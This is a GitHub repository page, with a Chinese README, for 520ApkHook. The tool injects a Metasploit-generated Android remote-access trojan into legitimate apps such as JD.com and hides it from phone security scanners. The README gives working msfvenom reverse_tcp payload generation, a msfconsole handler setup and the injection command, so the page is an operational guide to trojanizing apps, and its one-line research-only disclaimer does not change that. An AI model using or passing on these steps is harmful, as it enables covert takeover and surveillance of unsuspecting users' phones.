Skip to content

把msf生成的安卓远控附加进普通的app中,并进行加固隐藏特征。可以绕过常见的手机安全管家。

Notifications You must be signed in to change notification settings

darkkid0/520apkhook

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

16 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

520_APK_HOOK

介绍

  • 将编写的安卓远控程序,注入到正常的App中,运行app时安卓远控程序也会上线。

  • 修复上一版本的bug,使用java重写,同时还重写了520ApkBox程序,专门用来运行运行APP和远控App。

  • 520ApkBox是一个java编写的App,主要作用是一个安卓虚拟机,任何App可以不用任何修改就可以正常运行,可以绕过现在各种App的安全检测。同时此App还是一个加载器,通过DexClassesLoder加载远控的Dex文件并启动上线。

  • 520ApkHook是Java编写的注入工具,将被注入的App和远控App注入到一个App中。

  • 项目地址: https://github.com/ba0gu0/520apkhook

  • 作者: BaoGuo

优点

  • 相比于普通的安卓远控,此版本app在进行远控时,被注入的app可以正常运行。

  • 注入后的app在安装时,手机管家不会有任何安全提示,普通的远控程序,安装时手机管家会有安全警示。

  • 理论上来说,只要远控软件使用的是纯Java或者Kotlin编写,就可以使用,不一定必须是msf生成的apk。

使用

  1. 下载Releases中打包好的jar包
  1. msfmsfvenom
msfvenom -p android/meterpreter/reverse_tcp lhost=114.114.114.114 lport=3306 -o ~/Downloads/msf.apk
  1. msfconsole
# 启动 msfconsole

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3306
set exitonsession false
exploit -j
  1. 520ApkHook
java -jar a520ApkHook-1.0-jar-with-dependencies.jar  ~/Downloads/京东.apk ~/Downloads/msf.apk
  1. BaoGuo仍给你一个Apk,请安装它!

搭配其他远控使用

BUG

  • 微信只能通过应用克隆的方式安装,需要先指定微信的apk包,生成520ApkHook.apk. 再使用np管理器把assets目录下的和微信大小一样的文件给删除掉。再使用np管理器重新进行签名即可.(这种方法要求目标机器上要已经安装微信.)

  • 新生成的apk的包名字, 不能和被注入的apk包名字一样, 程序默认已经修改.

  • msf无法在鸿蒙OS使用, 文件读取在鸿蒙OS上也无法正常使用.

  • 其他未测试...

项目依赖

  • 本项目参考以下项目

  • 由于安卓虚拟化牵扯到其他github上被下架的程序,在这里不再进行列出,避免被影响。

重点说明

  • 本项目仅用于安全研究, 禁止利用脚本进行攻击, 使用本脚本产生的一切问题和本人无关.

  • 由于此软件是基于安卓虚拟化来实现的,虚拟化软件对于不同版本的系统会出现BUG,可以自行修改520ApkBox项目源码 (欢迎大佬提交pull) .

Start 曲线

Start 曲线

About

把msf生成的安卓远控附加进普通的app中,并进行加固隐藏特征。可以绕过常见的手机安全管家。

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • C 34.3%
  • C++ 34.1%
  • Java 27.8%
  • CMake 2.1%
  • AIDL 0.8%
  • Shell 0.2%
  • Other 0.7%